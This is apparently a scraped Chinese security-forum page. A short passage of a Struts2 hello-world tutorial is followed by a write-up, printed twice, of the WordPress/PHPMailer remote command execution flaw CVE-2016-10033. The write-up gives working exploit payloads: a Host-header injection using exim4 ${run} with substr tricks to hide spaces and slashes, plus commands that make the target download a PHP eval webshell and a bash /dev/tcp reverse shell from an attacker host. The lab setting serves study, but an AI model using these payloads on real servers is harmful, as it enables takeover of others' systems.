7:调用完class返回一个结果result,根据struts.xml返回到对应的jsp;

具体文档可以参考:https://blog.csdn.net/liuyinghui523/article/details/48290625
 
九、 struts的一个案例
struts2 案例中,分为了 导入struts2的基础包和引用、配置web.xml 、创建Action和struts.xml 和创建视图result.jsp。具体的步骤为:
 
step1: 导入struts2的基础包

QQ截图20180901095608.png


step2:修改一下web.xml 文件
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" id="WebApp_ID" version="4.0">
<display-name>helloworld</display-name>

<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>

<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>

step3:创建一个方法Action

QQ截图20180901100025.png


QQ截图20180901100127.png


step4:配置helloworld的java文件如下:
package com.imooc.action;

import com.opensymphony.xwork2.ActionSupport;

public class HelloWorldAction extends ActionSupport {

@Override
public String execute() throws Exception {
// TODO Auto-generated method stub
System.out.println("执行Action");
return SUCCESS;
}


}

QQ截图20180901102328.png


step5:创建一个视图文件result.jsp 文件
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Insert title here</title>
</head>
<body>
this is result.jsp
</body>
</html>
step6:进行测试

QQ截图20180901103359.png


QQ截图20180901103155.png

 

 备注:如果有人需要进行VM已经调试好的环境,可以找我私聊。
 
 

WordPress <= 4.6 命令执行漏洞

zksmile 发表了文章 • 0 个评论 • 267 次浏览 • 2018-08-23 20:13 • 来自相关话题

精彩的不是利用,而是不断的突破,看了别人的思路受益匪浅。
 
0x01漏洞信息
这个锅还是要PHPMailer背(CVE-2016-10033,WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。
 
0x02漏洞编号CVE-2016-10033

https://paper.seebug.org/161/
0x03影响版本WordPress <= 4.7.1
PHPMailer < 5.2.180x04复现环境https://github.com/vulhub/vulhub/tree/master/wordpress/pwnscriptum0x05漏洞分析
 
漏洞出现在管理员的密码重置界面/wp-login.php?action=lostpassword 





在找回密码时WordPress会使用PHPmailer发送重置密码的邮件,这个时候PHPmailer<=5.2.18时存在RCE。
 
打开/wp-includes/class-phpmailer.php中 public $Mailer = 'mail';

/**
* The path to the sendmail program.
* @var string
*/
public $Sendmail = '/usr/sbin/sendmail';
由代码可以看出PHPmailer调用的是/usr/sbin/semdmail来发送邮件的。
发送邮件的命令格式为:sendmail -t -i -fusername@hostname /**
* Get the server hostname.
* Returns 'localhost.localdomain' if unknown.
* @access protected
* @return string
*/
protected function serverHostname()
{
$result = 'localhost.localdomain';
if (!empty($this->Hostname)) {
$result = $this->Hostname;
} elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
$result = $_SERVER['SERVER_NAME'];
} elseif (function_exists('gethostname') && gethostname() !== false) {
$result = gethostname();
} elseif (php_uname('n') !== false) {
$result = php_uname('n');
}
return $result;
}
serverHostname函数通过传入的SERVER_NAME参数来获取主机名,该主机名即HTTP请求报文中的host值,但是SERVER_NAME参数并没有经过任何过滤,因此我们可以进行任意构造拼接,从而产生了系统命令注入漏洞。
 
sendmail 提供了-O 和-X参数。 -OQueueDirectory=/tmp/ -X/tmp/aaa.php,它会将发送的邮件保存到/tmp/aaa.php中。
因此我们可以构造以下payload: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: aaa( -X/tmp/aaa.php )@qq.com
这里Host字段值中@符号前用了一个”( )”,这样可以直接在括号中使用空格.
具体大家可以看P神博客的两篇文章。 
https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html
https://www.leavesongs.com/PENETRATION/how-to-analyze-long-regex.html
但是由于WordPress以及PHPMailer都会防止攻击者注入空字符。并且host字段值中出现’/'会出现请求错误。
 
可以看到在ubuntu中已经使用exim4替代了sendmail的功能。 root@990b6f7e34bb:/var/www/html/wp-includes# which sendmail
/usr/sbin/sendmail
root@990b6f7e34bb:/var/www/html/wp-includes# file /usr/sbin/sendmail
/usr/sbin/sendmail: symbolic link to `exim4'
在exim4中有一个-be参数可以读取一些变量的数据: root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$tod_log'
2018-08-23 10:22:21
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$spool_directory'
/var/spool/exim4
exim4还支持一些函数用来执行一些命令: root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$spool_directory'
/var/spool/exim4
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '${substr{0}{1}{$spool_directory}}'
/
从第一个字符开始截取,然后截取长度为1,刚好可以把’/’截取出来
 
因此我们可以将: 空格 —> ${substr{10}{1}{$tod_log}}

/ —> ${substr{0}{1}{$spool_directory}}
$run还可以调用系统命令: root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '${run{/usr/bin/id}}'
uid=0(root) gid=105(Debian-exim) groups=0(root)
比如我们此时想执行在/tmp下创建一个test.php aa(any -froot@localhost -be ${run{/bin/touch /tmp/test.php}} null)
==> aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test.php}} null)
此时在重置密码处输入用户名admin,然后使用BurpSuite抓包拦截,修改host的值: 





在/tmp下文件创建成功。 root@990b6f7e34bb:/tmp# ls -al
total 8
drwxrwxrwt 1 root root 4096 Aug 23 10:46 .
drwxr-xr-x 1 root root 4096 Aug 23 08:48 ..
-rw—---- 1 www-data www-data 0 Aug 23 10:44 test.php
实际利用的过程中还需要注意一下几点:
[]执行的命令不能包含大量特殊字符比如 :、引号等等。[/][]命令会被转换为小写字母[/][]命令需要使用绝对路径[/][]需要知道一个存在的用户名,比如admin. [/]
 
 0x06实战利用 
一、写webshell
场景描述:
攻击机器IP: 172.18.0.1
目标靶机IP: 172.18.0.3 
 
攻击机器开启web服务,172.18.0.1/zk/one.txt内容如下: <?php @eval($_POST['zksmile'])?>
利用步骤:
1、发送payload使目标靶机下载one.txt,并保存到web根目录下/var/www/html/shell.php
2、使用菜刀链接shell.php
 
1、下载one.txt aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /var/www/html/shell.php 172.18.0.1/zk/one.txt}} null)
==> aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}172.18.0.1${substr{0}{1}{$spool_directory}}zk${substr{0}{1}{$spool_directory}}one.txt}} null)





2、使用菜刀链接: 





二、反弹shell
场景描述:
攻击机器IP: 172.18.0.1
目标靶机IP: 172.18.0.3
 
攻击机器开启web服务,172.18.0.1/zk/shell.txt内容如下: bash -i >& /dev/tcp/172.18.0.1/7001 0>&1
利用步骤:
1、发送payload使靶机下载shell.txt,并保存到/tmp/shell
2、在攻击机器上使用nc监听7001端口
3、发送payload使靶机运行shell
注意:远程 URL 中不能有 http://,并且所有字母必须小写。
 
 
1、下载远程服务器上的脚本文件payload: aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/shell 172.18.0.1/zk/shell.txt}} null)
==> aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}172.18.0.1${substr{0}{1}{$spool_directory}}zk${substr{0}{1}{$spool_directory}}shell.txt}} null)





2、在172.18.0.1上执行 nc -lvp 7001开启监听: 





3、发送payload使靶机运行shel: aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null)
==> aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)





Reference
https://github.com/vulhub/vulhub/tree/master/wordpress/pwnscriptum
https://www.cnblogs.com/ssooking/p/8893264.html
https://www.leavesongs.com/PENETRATION/how-to-analyze-long-regex.html
https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html
https://paper.seebug.org/161/
  查看全部
精彩的不是利用,而是不断的突破,看了别人的思路受益匪浅。
 
0x01漏洞信息
这个锅还是要PHPMailer背(CVE-2016-10033,WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。
 
0x02漏洞编号
CVE-2016-10033 

https://paper.seebug.org/161/
0x03影响版本
WordPress <= 4.7.1 
PHPMailer < 5.2.18
0x04复现环境
https://github.com/vulhub/vulhub/tree/master/wordpress/pwnscriptum
0x05漏洞分析
 
漏洞出现在管理员的密码重置界面/wp-login.php?action=lostpassword 

1.png

在找回密码时WordPress会使用PHPmailer发送重置密码的邮件,这个时候PHPmailer<=5.2.18时存在RCE。
 
打开/wp-includes/class-phpmailer.php中
 public $Mailer = 'mail';

/**
* The path to the sendmail program.
* @var string
*/
public $Sendmail = '/usr/sbin/sendmail';

由代码可以看出PHPmailer调用的是/usr/sbin/semdmail来发送邮件的。
发送邮件的命令格式为:sendmail -t -i -fusername@hostname 
/**
* Get the server hostname.
* Returns 'localhost.localdomain' if unknown.
* @access protected
* @return string
*/
protected function serverHostname()
{
$result = 'localhost.localdomain';
if (!empty($this->Hostname)) {
$result = $this->Hostname;
} elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
$result = $_SERVER['SERVER_NAME'];
} elseif (function_exists('gethostname') && gethostname() !== false) {
$result = gethostname();
} elseif (php_uname('n') !== false) {
$result = php_uname('n');
}
return $result;
}

serverHostname函数通过传入的SERVER_NAME参数来获取主机名,该主机名即HTTP请求报文中的host值,但是SERVER_NAME参数并没有经过任何过滤,因此我们可以进行任意构造拼接,从而产生了系统命令注入漏洞。
 
sendmail 提供了-O 和-X参数。 -OQueueDirectory=/tmp/ -X/tmp/aaa.php,它会将发送的邮件保存到/tmp/aaa.php中。
因此我们可以构造以下payload: 
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: aaa( -X/tmp/aaa.php )@qq.com

这里Host字段值中@符号前用了一个”( )”,这样可以直接在括号中使用空格.
具体大家可以看P神博客的两篇文章。 
https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html
https://www.leavesongs.com/PENETRATION/how-to-analyze-long-regex.html
但是由于WordPress以及PHPMailer都会防止攻击者注入空字符。并且host字段值中出现’/'会出现请求错误。
 
可以看到在ubuntu中已经使用exim4替代了sendmail的功能。 
root@990b6f7e34bb:/var/www/html/wp-includes# which sendmail
/usr/sbin/sendmail
root@990b6f7e34bb:/var/www/html/wp-includes# file /usr/sbin/sendmail
/usr/sbin/sendmail: symbolic link to `exim4'

在exim4中有一个-be参数可以读取一些变量的数据: 
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$tod_log'
2018-08-23 10:22:21
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$spool_directory'
/var/spool/exim4

exim4还支持一些函数用来执行一些命令: 
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$spool_directory'
/var/spool/exim4
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '${substr{0}{1}{$spool_directory}}'
/

从第一个字符开始截取,然后截取长度为1,刚好可以把’/’截取出来
 
因此我们可以将: 
空格  —> ${substr{10}{1}{$tod_log}}

/ —> ${substr{0}{1}{$spool_directory}}

$run还可以调用系统命令: 
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '${run{/usr/bin/id}}'
uid=0(root) gid=105(Debian-exim) groups=0(root)

比如我们此时想执行在/tmp下创建一个test.php 
aa(any -froot@localhost -be ${run{/bin/touch /tmp/test.php}} null)

==> 
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test.php}} null)

此时在重置密码处输入用户名admin,然后使用BurpSuite抓包拦截,修改host的值: 

2.png

在/tmp下文件创建成功。 
root@990b6f7e34bb:/tmp# ls -al
total 8
drwxrwxrwt 1 root root 4096 Aug 23 10:46 .
drwxr-xr-x 1 root root 4096 Aug 23 08:48 ..
-rw—---- 1 www-data www-data 0 Aug 23 10:44 test.php

实际利用的过程中还需要注意一下几点:
    []执行的命令不能包含大量特殊字符比如 :、引号等等。[/][]命令会被转换为小写字母[/][]命令需要使用绝对路径[/][]需要知道一个存在的用户名,比如admin. [/]

 
 0x06实战利用 
一、写webshell
场景描述:
攻击机器IP: 172.18.0.1
目标靶机IP: 172.18.0.3 
 
攻击机器开启web服务,172.18.0.1/zk/one.txt内容如下: 
<?php @eval($_POST['zksmile'])?>

利用步骤:
1、发送payload使目标靶机下载one.txt,并保存到web根目录下/var/www/html/shell.php
2、使用菜刀链接shell.php
 
1、下载one.txt 
aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /var/www/html/shell.php 172.18.0.1/zk/one.txt}} null)

==> 
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}172.18.0.1${substr{0}{1}{$spool_directory}}zk${substr{0}{1}{$spool_directory}}one.txt}} null)

3.png


2、使用菜刀链接: 

4.png

二、反弹shell
场景描述:
攻击机器IP: 172.18.0.1
目标靶机IP: 172.18.0.3
 
攻击机器开启web服务,172.18.0.1/zk/shell.txt内容如下: 
bash -i >& /dev/tcp/172.18.0.1/7001 0>&1

利用步骤:
1、发送payload使靶机下载shell.txt,并保存到/tmp/shell
2、在攻击机器上使用nc监听7001端口
3、发送payload使靶机运行shell
注意:远程 URL 中不能有 http://,并且所有字母必须小写。
 
 
1、下载远程服务器上的脚本文件payload: 
aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/shell 172.18.0.1/zk/shell.txt}} null)

==> 
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}172.18.0.1${substr{0}{1}{$spool_directory}}zk${substr{0}{1}{$spool_directory}}shell.txt}} null)

5.png


2、在172.18.0.1上执行 nc -lvp 7001开启监听: 

6.png

3、发送payload使靶机运行shel: 
aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null)

==> 
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)

7.png


Reference
https://github.com/vulhub/vulhub/tree/master/wordpress/pwnscriptum
https://www.cnblogs.com/ssooking/p/8893264.html
https://www.leavesongs.com/PENETRATION/how-to-analyze-long-regex.html
https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html
https://paper.seebug.org/161/